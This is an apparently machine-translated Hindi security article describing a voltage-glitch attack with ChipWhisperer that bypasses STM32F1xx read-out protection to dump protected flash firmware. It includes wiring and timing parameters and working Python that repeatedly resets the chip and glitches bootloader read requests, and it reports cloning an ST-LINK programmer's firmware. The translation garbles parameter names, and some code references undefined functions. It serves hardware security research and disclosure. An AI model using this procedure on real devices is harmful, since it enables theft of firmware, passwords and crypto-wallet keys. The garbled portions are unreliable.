🙅🏽 👨🏻‍🔧 🧛🏽 चिपव्यूपर का उपयोग करके STM32F1xx फ्लैश से सुरक्षित फर्मवेयर पढ़ें 🕛 😖 👼

पिछले लेख में, हमने चिप-ग्रीपर के उपयोग से Vcc-glitch हमलों से निपटा। हमारा आगे का लक्ष्य संरक्षित फर्मवेयर माइक्रोकंट्रोलरों को पढ़ने की प्रक्रिया का चरणबद्ध अध्ययन था। ऐसे हमलों का उपयोग करते हुए, एक हमलावर सभी डिवाइस पासवर्ड और सॉफ़्टवेयर एल्गोरिदम तक पहुंच प्राप्त कर सकता है। एक ज्वलंत उदाहरण वीके-ग्लिच हमलों का उपयोग करके एमके STM32F042 बोर्ड के साथ लेजर नैनो एस हार्डवेयर क्रिप्टो वॉलेट की हैकिंग है ।

रुचि रखते हैं? बिल्ली के नीचे देखते हैं।

हमने एक लेख से संरक्षित फर्मवेयर को पढ़ने की संभावना के बारे में सीखा जो एक Vcc-glitch हमले के परिणामों को दिखाता है - कई माइक्रोकंट्रोलर (इसके बाद - MK) के लिए बूटलोडर के माध्यम से RDP संरक्षण बाइट को दरकिनार करना। हम ईएसपी 32 को तोड़ने पर लेख पढ़ने की भी सलाह देते हैं।

अध्ययन का सैद्धांतिक आधार चिपपीसीशर के उपयोग से मास्क वाले बूटलोडर के माध्यम से LPC1114 के लिए संरक्षित फर्मवेयर को सफलतापूर्वक पढ़ने के लिए दिशानिर्देश था।

पहले लेख के अनुसार, हमने एमके STM32F103RBT6 बोर्ड पर प्रयोग करने का निर्णय लिया:

बोर्ड STM32F103RBT6

फ्लैश मेमोरी और रैम क्षेत्रों में डेटा लिखने या उन्हें पढ़ने की क्षमता, साथ ही साथ एमके मेमोरी के साथ अन्य क्रियाएं करने के लिए सुरक्षा बाइट (STM32 - RDP के लिए) के मूल्य से निर्धारित होता है। विभिन्न एमके मूल्यों और संरक्षण के बाइट्स के उद्देश्य के लिए, साथ ही साथ उनकी जांच के लिए एल्गोरिथ्म में अंतर है।

हार्डवेयर सेटअप

चलिए प्रयोग शुरू करते हैं। सबसे पहले आपको चित्र के अनुसार ChipWhisperer को MK से जोड़ना होगा:

एक मास्क लोडर के माध्यम से संरक्षित फर्मवेयर को पढ़ने के लिए एसपीएम 32 को चिपवर्पर का कनेक्शन आरेख

STM32F103RBT6 बोर्ड से निकाले जाने वाले तत्वों को आरेख (मानक एमके के विपरीत) में पार किया जाता है। तीर ChipWhisperer के कनेक्शन बिंदुओं को इंगित करते हैं, और हस्ताक्षर इसके पिन को इंगित करते हैं।

आरेख में दिखाए गए बाहरी क्वार्ट्ज की उपस्थिति आवश्यक नहीं है, क्योंकि जब एक मास्क लोडर के साथ काम करते हैं, तो एमके STM32F103RBT6 24 मेगाहर्ट्ज की आवृत्ति के साथ एक आंतरिक CLOCK का उपयोग करता है, इसलिए ChipWhisperer और MK में कोई सिंक्रनाइज़ेशन नहीं है।

चलिए ChipWhisperer की स्थापना के लिए आगे बढ़ते हैं। जैसा कि ऊपर उल्लेख किया गया है, चिपविशर की अनुशंसित आवृत्ति 24 मेगाहर्ट्ज (या एक और कई) है। इस आवृत्ति की बहुलता जितनी अधिक होगी, आप उतने ही सटीक ढंग से हमले के क्षण को समायोजित कर सकते हैं। सिंक्रोनाइज़ेशन की कमी के कारण, गुंजाइश का चयन .glitch.offset पैरामीटर वैकल्पिक है, किसी भी मूल्य को इसे सौंपा जा सकता है।

ChipWhisperer की निर्धारित आवृत्ति के आधार पर पैरामीटर स्कोप.ग्लिच। क्रेप और स्कोप.ग्लिच.विचारण को चुना जाना चाहिए। एक बड़ी आवृत्ति मूल्य के साथ, सभी अल्पकालिक दालों, जिनमें से संख्या गुंजाइश का उपयोग करके सेट की गई है। ग्रिड। क्रेपीट, एक लंबे नाड़ी में विलय हो जाता है। इसलिए, आप पैरामीटर गुंजाइश का मान चुन सकते हैं ।glitch.width, और गुंजाइश.glitch.repeat फिक्स, या इसके विपरीत। हमने पाया कि इष्टतम नाड़ी की अवधि लगभग 80 ns (आधा अधिकतम पर नाड़ी चौड़ाई के रूप में परिभाषित) होनी चाहिए।

यह पैरामीटर स्कोप मान का चयन करने के लिए रहता है ।glitch.ext_offset।

चयन गुंजाइश ।glitch.ext_offset

पहले आपको हमले के क्षण को चुनने की आवश्यकता है। एसटीएम कंपनी के दस्तावेज़ में प्रस्तुत योजना के अनुसार, फ्लैश सेक्टर से डेटा पढ़ने का अनुरोध प्राप्त करने के बाद सुरक्षा बाइट मूल्य की जाँच की जाती है:

फ्लैश सेक्टर से डेटा पढ़ने के अनुरोध के लिए एल्गोरिदम

इस तरह की सत्यापन योजना की वैधता को सत्यापित करने के लिए, हम एसटी-लिंक के माध्यम से आरडीपी सुरक्षा के बिना एक समान एमके के बूटलोडर निष्पादन योग्य कोड को पढ़ते हैं। नीचे दिए गए आंकड़े रीड मेमोरी कमांड प्रोसेसिंग एल्गोरिदम के कुछ हिस्सों को दिखाते हैं।

मेमोरी रीड कमांड को संसाधित करने का सामान्य दृश्य (RDP चेक फ़ंक्शन के लिए कॉल और विफल चेक के मामले में NACK भेजना स्पष्ट रूप से दिखाई देता है)

आरडीपी मान्यता समारोह शरीर

आरडीपी चेक फ़ंक्शन के शरीर पर ध्यान दें: यह देखा जा सकता है कि रजिस्टर 0x40022000 + 0x1C पर पढ़ा जा रहा है, जो 30 बिट्स और ब्रांचिंग की तार्किक पारी है। PM0075 प्रोग्रामिंग मैनुअल (STM32F10xxx फ्लैश मेमोरी माइक्रोकंट्रोलर्स) के प्रलेखन से, यह स्पष्ट हो जाता है कि 0x40022000 फ्लैश मेमोरी कंट्रोलर का आधार पता है, और 0x1C FLASH-OBR रजिस्टर ऑफसेट है , जिसमें हम दूसरे आरडीपीआरटी बिट में रुचि रखते हैं: संरक्षण पढ़ें, जिसमें आरडीपी सुरक्षा स्रोत है ।

हमले का आवश्यक क्षण LDR निर्देश (मेमोरी से लोड करना) का विकास है। यह निर्देश फर्मवेयर ( 0xEE साथ 0xEE बाइट भेजना) और UART द्वारा ACK / NOACK MK प्रतिक्रिया भेजने के अनुरोध के बीच स्थित है। इस पल को नेत्रहीन रूप से ठीक करने के लिए, ऑसिलोस्कोप को UART1_RX (पिन PA10) और UART1_TX (पिन PA9) से जोड़ना आवश्यक है, और फिर UART1 के अनुसार वोल्टेज परिवर्तन की निगरानी करें। नतीजतन, चयनित स्कोप के साथ पावर अटैक वेवफॉर्म ।glitch.ext_offset वैल्यू कुछ इस तरह दिखना चाहिए:

हमले का क्षण चुनना

फर्मवेयर स्क्रिप्ट पढ़ें

अब आपको UART1_RX के माध्यम से चेकसम को प्रसारित करने के क्षण को बाधित करने के लिए पाइथन कोड में CW_TRIG ट्रिगर के ट्रिगर क्षण को निर्दिष्ट करने की आवश्यकता है। चिपविस्पर में एसटीएम 32 एमके मास्कलोडर के साथ संचार करने के लिए एक पुस्तकालय है। सामान्य मोड में, इस लाइब्रेरी का उपयोग programmer_stm32fserial.py software/chipwhisperer/hardware/naeusb/ फ़ाइल के साथ पथ software/chipwhisperer/hardware/naeusb/ class STM32FSerial(object) स्थित क्लास class STM32FSerial(object) का उपयोग करके MK से मैनुअल को फर्मवेयर डाउनलोड करने के लिए किया जाता है। ट्रिगर को सक्रिय करने के लिए, आपको इस कक्षा को मुख्य निष्पादन योग्य स्क्रिप्ट पर कॉपी करने की आवश्यकता है ताकि वर्ग विधि CmdGeneric(self, cmd) विश्व स्तर पर सुलभ हो जाए, और मेमोरी सेक्टर को पढ़ने के अनुरोध के चेकसम (0xEE) को भेजने से पहले scope.arm() कमांड जोड़ें। अंतिम वर्ग नीचे दिए गए स्पॉइलर में दिया गया है।

STM32 के साथ ChipWhisperer के संचार के लिए कक्षा

 import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None

यह ध्यान दिया जाना चाहिए कि STM32F1xx मास्कलोडर आपको एक अनुरोध में निर्दिष्ट फ्लैश सेक्टर से 256 बाइट्स से अधिक फ़र्मवेयर पढ़ने की अनुमति नहीं देता है। इसलिए, जब एमके के पूरे फर्मवेयर को पढ़ते हैं, तो Vcc-glitch हमले के दौरान कई रीड अनुरोध करना आवश्यक है। फिर, प्राप्त 256 बाइट्स को आठ 32-बाइट सरणियों में विभाजित किया जाना चाहिए और उनसे एक हेक्स फ़ाइल बनाई जानी चाहिए।

हेक्स कनवर्टर कोड और सहायक कार्य

 def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step'])

ChipWhisperer सेटिंग्स कॉन्फ़िगर करना अब पूरा हो गया है। फर्मवेयर पढ़ने के लिए अंतिम स्क्रिप्ट निम्नानुसार है:

 # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory)

सभी ने print() आउट print() संदेशों को पंक्ति के बाद except Exception as में एमसी की स्थिति पर नज़र रखने except Exception as मदद की, जब गड़बड़ पल्स के लिए इष्टतम मापदंडों की खोज की। एमके की विशिष्ट स्थिति को ट्रैक करने के लिए, आवश्यक print() संदेश को अनसुना करने के लिए पर्याप्त है।

पढ़ने के परिणाम

वीडियो ST-LINK प्रोग्रामर के माध्यम से MK को फर्मवेयर डाउनलोड करना, RDP को सुरक्षा स्थिति में स्थानांतरित करना और फिर फर्मवेयर पढ़ना है:

निम्नलिखित त्रुटियाँ सफल Vcc-glitch हमलों को रोक सकती हैं:

• मेमोरी के गलत क्षेत्र को पढ़ना;

• फर्मवेयर के सहज हटाने।

ChipWhisperer की आवृत्ति को बढ़ाकर हमले का सटीक समय इस तरह की त्रुटियों से बचने में मदद करेगा।

संरक्षित फर्मवेयर पढ़ने के लिए एल्गोरिथ्म को विकसित करने और डिबग करने के बाद, हमने ST-LINK-V2-V2.1 प्रोग्रामर के फर्मवेयर का एक परीक्षण रीडिंग किया, जो STM32F103CBT6 MK पर काम करता है। कुछ फर्मवेयर, हमने एक "साफ" एमके STM32F103CBT6 पर सिलाई की और कारखाने के बजाय इसे स्थापित किया। परिणामस्वरूप, प्रतिस्थापित एमके के साथ ST-LINK-V2.1 सामान्य मोड में काम करता था, जैसे कि कोई प्रतिस्थापन नहीं था।

हमने STM32F303RCT7 पर हमलों की एक श्रृंखला आयोजित करने का भी प्रयास किया। हमले के दौरान इस एमके ने STM32F103RBT6 के लिए समान रूप से व्यवहार किया, लेकिन रीड मेमोरी अनुरोध की प्रतिक्रिया में 0x00 के बराबर एक बाइट शामिल थी, जो उस परिणाम के साथ मेल नहीं खाती थी जिसकी हमें उम्मीद थी। इस असफलता का कारण इन एमके की सुरक्षा को व्यवस्थित करने का एक अधिक जटिल और विकसित सिद्धांत था।

STM32F1xx MK में दो प्रोटेक्शन स्टेट्स हैं: प्रोटेक्शन ऑफ (लेवल 0) और ऑन (लेवल 1)। पुराने मॉडलों में, तीन सुरक्षा राज्य हैं: सुरक्षा अक्षम है (स्तर 0, RDP = 0x55AA), फ़्लैश और SRAM मेमोरी की सुरक्षा (स्तर 2, RDP = 0x33CC) और फ्लैश मेमोरी की सुरक्षा (स्तर 1), RDP के अलावा कोई मान लेता है 0x55AA और 0x33CC से)। चूंकि लेवल 1 कई RDP मान ले सकता है, लेवल 0 सेट करना काफी कठिन है। दूसरी ओर, आरडीपी बाइट में एक बिट नीचे (नीचे चित्र में दिखाया गया है), जो SRAM मेमोरी तक पहुंचने की अनुमति देता है, को स्तर 2 से स्तर 1 तक सुरक्षा के स्तर को कम करना संभव है।

फर्मवेयर सुरक्षा के विभिन्न स्तरों के लिए आरडीपी मूल्यों की तुलना

यह केवल यह समझने के लिए बना हुआ है कि कोई हमलावर इसका फायदा कैसे उठा सकता है। उदाहरण के लिए, इस लेख में वर्णित सीबीएस (कोल्ड-बूट स्टेपिंग) विधि का उपयोग करना। यह विधि एन्क्रिप्शन कुंजी, हिडन पासवर्ड या किसी अन्य मूल्यवान जानकारी प्राप्त करने के लिए MC को लोड करने के बाद SRAM मेमोरी की स्थिति (प्रत्येक स्नैपशॉट की आवृत्ति माइक्रोसेकंड में थी) के चरणबद्ध स्नैपशॉट पर आधारित है। लेखकों का सुझाव है कि सीबीएस विधि सभी एसटीएम 32 एमके श्रृंखला पर काम करेगी।

निष्कर्ष

हमारे प्रयोगों को संक्षेप में बताना। पिछले अध्ययन से प्राप्त डेटा (जिसे यहां पढ़ा जा सकता है ) का उपयोग करके वीसीसी ग्लिच हमले को पूरा करने में हमें कई दिन लग गए। इसलिए, ऐसे हमलों का संचालन करना सीखना काफी आसान है।

Vcc-glitch हमले खतरनाक होते हैं क्योंकि इनसे बचाव करना मुश्किल होता है। ऐसे हमलों का सफलतापूर्वक संचालन करने की संभावना को कम करने के लिए, उच्च स्तर के संरक्षण के साथ एमके का उपयोग करना प्रस्तावित है।

रैकोन सुरक्षा व्यावहारिक सूचना सुरक्षा, क्रिप्टोग्राफी, सर्किट्री, रिवर्स इंजीनियरिंग और निम्न-स्तरीय सॉफ़्टवेयर के निर्माण के क्षेत्र में ज्वालामुखी वैज्ञानिक और तकनीकी केंद्र के विशेषज्ञों की एक विशेष टीम है।

चिपव्यूपर का उपयोग करके STM32F1xx फ्लैश से सुरक्षित फर्मवेयर पढ़ें

More articles: